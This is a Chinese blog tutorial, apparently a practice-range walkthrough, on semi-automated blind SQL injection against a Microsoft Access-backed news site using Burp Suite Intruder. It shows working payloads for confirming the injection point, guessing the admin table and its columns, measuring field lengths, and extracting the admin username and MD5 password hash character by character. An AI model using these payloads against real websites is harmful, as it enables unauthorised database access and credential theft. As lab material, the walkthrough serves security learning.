首页 > 技术文章 > access半自动化注入

02SWD 2022-01-17 16:26 原文

access半自动化注入 - 靶场实战

  • 若文章出现错误,望指出;如需转载,请标明出处。
  • 前言:本文所讲解的内容主要是用来解决access盲注繁琐的问题,而对于access半自动化注入方式大体上分为两种:
    1. 自己编写程序脚本,进行高度自定义的(半)自动化注入
    2. 借助已有工具,如sqlmap,brup等,进行(半)自动化注入。
  • 此次(半)自动化注入演示,我们采取第二种方案,使用burp工具进行演示。

之所以说本文是半自动化注入的演示,主要是因为本文的演示不同于sqlmap工具那样可以完全规避手工,还是需要一些必要手工操作,只是在盲注的爆破阶段,我们可以借助工具来摆脱没有必要的重复操作。

一、半自动化注入流程

  1. 判断注入点
  2. 猜解目标表名
  3. 猜解目标表的字段名
  4. 开始进行盲注,爆破字段值

二、实战演示

2.1 判断注入点

  • payload:
    • ?NewsID=20&BigClassID=2&SmallClassID=2 and 1=1(页面返回正常)
    • ?NewsID=20&BigClassID=2&SmallClassID=2 and 1=2(页面返回失败)
    • 由下图返回结果可以判断,此处存在注入点,且为数字型注入。
      01_access自动化注入 - 判断注入点

2.2 猜解表名

  • payload:
    • ?NewsID=20&BigClassID=2&SmallClassID=2 and exists(select * from admin)
    • 因为access数据库没有类似于mysql的information_schema这样的系统索引库,所以我们只能根据经验靠猜了,在真实的测试环境中,我们也可以通过社工的方式进行猜解。
    • 此次页面返回正常,说明存在access数据库中存在admin表。
      02_access自动化注入 - 猜解表名

2.3 猜解目标表的字段名

  • payload:
    • ?NewsID=20&BigClassID=2&SmallClassID=2 and exists(select adminuid,adminpwd from admin)
    • 页面返回正常,说admin表中存在字段:adminuid与adminpwd
      03_access自动化注入 - 猜解字段名
    • 这里我提一个小技巧:就是在我们猜表的字段名时,可以通过该网站后台管理页面的表单来帮助我们猜解。一般而言,程序员在写后台登录表单时,通常会将该表单中input标签的name属性设置的同数据库中相应的字段名相同,如下图:在此次案例中就是这样。
    • 05_access注入 - 盲注 - 小技巧

2.4 开始进行盲注,爆破字段值

2.4.1 判断表中有多少条记录

  • payload:
    • ?NewsID=20&BigClassID=2&SmallClassID=2 and (select count( *) from admin)=1
    • 如下图,页面返回正常,说明admin表中只有一条记录
      04_access自动化注入 - 爆破字段数

2.4.2 利用burp自动化爆破字段值

  1. 爆破adminuid字段的值

    • 先判断adminuid字段第一个值的长度是多少
      • ?NewsID=20&BigClassID=2&SmallClassID=2 and (select top 1 len(adminuid) from admin)=5
      • 由下图我们可以判断admin表的adminuid字段的第一个值的长度为5
        05_access自动化注入 - 爆破adminuid字段第一个值的长度
    • 爆adminuid字段的值(利用burp)
      • payload:?NewsID=20&BigClassID=2&SmallClassID=2 and (select top 1 asc(mid(adminuid,1,1)) from admin)=1
      • 其操作流程由下文的图示依次为您演示:
      1. 利用burp的proxy模块抓包
        06_access自动化注入 - 抓包

      2. 将包发送到攻击者模块
        07_access自动化注入 - 将包发送到攻击者模块

      3. 删除burp原有的参数符号,添加自定义的合适的参数符号
        08_access自动化注入 - 删除与添加参数符号

      4. 将intruder模块的攻击模式设置为Cluster bomb
        09_access自动化注入 - 将攻击模式设置为 Cluster bomb

      5. 设置第一个符号参数的payload
        10_access自动化注入 - 设置第一个符号参数的payload

      6. 设置第二个符号参数的payload
        11_access自动化注入 - 设置第二个符号参数的payload

      7. 开始攻击
        12_access自动化注入 - 开始攻击

      8. 攻击完成
        13_access自动化注入 - 攻击完成

      9. 分析攻击结果
        14_access自动化注入 - 分析爆破结果

  2. 爆破adminpwd字段的值

    • 先判断adminpwd字段第一个值的长度是多少
      • ?NewsID=20&BigClassID=2&SmallClassID=2 and (select top 1 len(adminpwd) from admin)=16
      • 由页面返回结果可知,adminpwd字段的第一个值的长度为16
      • 在这里其实不需要直接从 1 开始试,一般而言网站都会将用户的密码先经过MD5加密然后再将其存储在数据库中,而MD5加密有16位的,也有32位的,所以我们可以先看看长度是否是16或32,如果是的话,可以帮助我们节省时间。
        15_access自动化注入 - 判断adminpwd字段的第一个值的长度
    • 爆adminpwd字段的值(利用burp)
      • 由于篇幅原因,接下来的操作步骤与上面的相同,我就不加演示了。爆破出来的密码字段值为:ascii码:55 97 53 55 97 53 97 55 52 51 56 57 52 97 48 101 --> 对应的MD5值:7a57a5a743894a0e -->解密:admin

推荐阅读